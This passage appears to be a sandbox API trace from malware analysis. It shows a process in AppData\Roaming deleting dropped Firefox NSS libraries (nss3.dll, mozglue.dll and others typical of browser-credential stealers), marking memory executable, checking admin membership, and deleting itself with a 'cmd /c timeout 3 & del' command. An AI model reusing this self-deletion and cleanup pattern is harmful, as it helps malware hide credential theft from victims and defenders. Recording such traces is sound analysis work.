ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2a9dd00, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0166.897] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0166.897] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2ac3e60, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2ac3e60, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2ac3e60, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0166.898] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0166.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.902] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2ac3e60, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2ac3e60, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2ae9fc0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0166.902] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.904] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.904] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-string-l1-1-0.dll")) returned 1 [0166.904] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2ae9fc0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2ae9fc0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2ae9fc0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x5138, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0166.904] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0166.905] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2ae9fc0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2ae9fc0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2ae9fc0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x4938, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0166.905] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0166.905] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2b36280, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2b36280, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2b82540, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x513d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="freebl3.dll", cAlternateFileName="")) returned 1 [0166.906] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\freebl3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\freebl3.dll")) returned 1 [0166.906] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2bce800, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2bce800, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2bf4960, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x21fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0166.906] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\mozglue.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\mozglue.dll")) returned 1 [0166.907] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2bf4960, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2bf4960, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2c8cee0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x6b738, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0166.907] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\msvcp140.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\msvcp140.dll")) returned 1 [0166.908] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2cd91a0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2cd91a0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2e2fe00, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x12fbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0166.908] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\nss3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\nss3.dll")) returned 1 [0166.909] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2e7c0c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2e7c0c0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2e7c0c0, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x169d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0166.909] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\nssdbm3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\nssdbm3.dll")) returned 1 [0166.910] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2e7c0c0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2e7c0c0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2ea2220, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x233d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0166.910] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\softokn3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\softokn3.dll")) returned 1 [0166.910] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2eee4e0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2eee4e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2f86a60, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x116d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0166.911] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\ucrtbase.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\ucrtbase.dll")) returned 1 [0166.911] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2fd2d20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2fd2d20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2fd2d20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0166.911] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\\\vcruntime140.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\vcruntime140.dll")) returned 1 [0166.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.936] FindNextFileW (in: hFindFile=0x1e258bc8, lpFindFileData=0x1e7dfa78 | out: lpFindFileData=0x1e7dfa78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2fd2d20, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa2fd2d20, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xa2fd2d20, ftLastWriteTime.dwHighDateTime=0x1d6b6fb, nFileSizeHigh=0x0, nFileSizeLow=0x14748, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0166.936] FindClose (in: hFindFile=0x1e258bc8 | out: hFindFile=0x1e258bc8) returned 1 [0166.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.938] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x26 [0166.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.939] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp")) returned 1 [0166.939] RemoveDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3")) returned 1 [0166.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.942] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x222, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.942] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0166.942] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x221, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.942] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0166.942] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb9, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfcb4 | out: pSid=0x1e7dfcb4*=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0166.942] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x1e7dfcb0 | out: IsMember=0x1e7dfcb0) returned 1 [0166.943] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7dfcb6, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1e7dfca8 | out: pSid=0x1e7dfca8*=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0166.943] LookupAccountSidA (in: lpSystemName=0x0, Sid=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x0, cchName=0x1e7dfcb0, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfcac, peUse=0x1e7dfca4 | out: Name=0x0, cchName=0x1e7dfcb0, ReferencedDomainName=0x0, cchReferencedDomainName=0x1e7dfcac, peUse=0x1e7dfca4) returned 0 [0166.943] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x1e238c50*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), IsMember=0x1e7dfca0 | out: IsMember=0x1e7dfca0) returned 1 [0166.944] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41a000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0166.944] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0166.944] ExpandEnvironmentStringsW (in: lpSrc="/c %WINDIR%\\system32\\timeout.exe 3 & del \"", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="/c C:\\Windows\\system32\\timeout.exe 3 & del \"") returned 0x2d [0166.944] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e7dfbb4, nSize=0x105 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0166.944] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd92f14, cbMultiByte=56, lpWideCharStr=0x1e7decb8, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe") returned 56 [0166.945] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e7dfbb8, nSize=0x105 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\fghvhghvgfdgfhchfg.exe")) returned 0x38 [0166.945] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd92f5c, cbMultiByte=56, lpWideCharStr=0x1e7decbc, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe") returned 56 [0166.945] ShellExecuteExW (in: pExecInfo=0x1e7dfe44*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\system32\\cmd.exe", lpParameters="/c C:\\Windows\\system32\\timeout.exe 3 & del \"fghvhghvgfdgfhchfg.exe\"", lpDirectory="C:\\Users\\aETAdzjz\\AppData\\Roaming\\", nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x1e7dfe44*(cbSize=0x3c, fMask=0x1c0, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Windows\\system32\\cmd.exe", lpParameters="/c C:\\Windows\\system32\\timeout.exe 3 & del \"fghvhghvgfdgfhchfg.exe\"", lpDirectory="C:\\Users\\aETAdzjz\\AppData\\Roaming\\", nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x86c)) returned 1 [0171.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0171.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0171.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0171.413] ExitProcess (uExitCode=0x0) Thread: id = 103 os_tid = 0xde8 [0134.163] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0134.164] Sleep (dwMilliseconds=0x5) [0134.173] Sleep (dwMilliseconds=0x5) [0134.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fba*=0x401000, NumberOfBytesToProtect=0x1a2fbe, NewAccessProtection=0x1, OldAccessProtection=0x1a2fa6 | out: 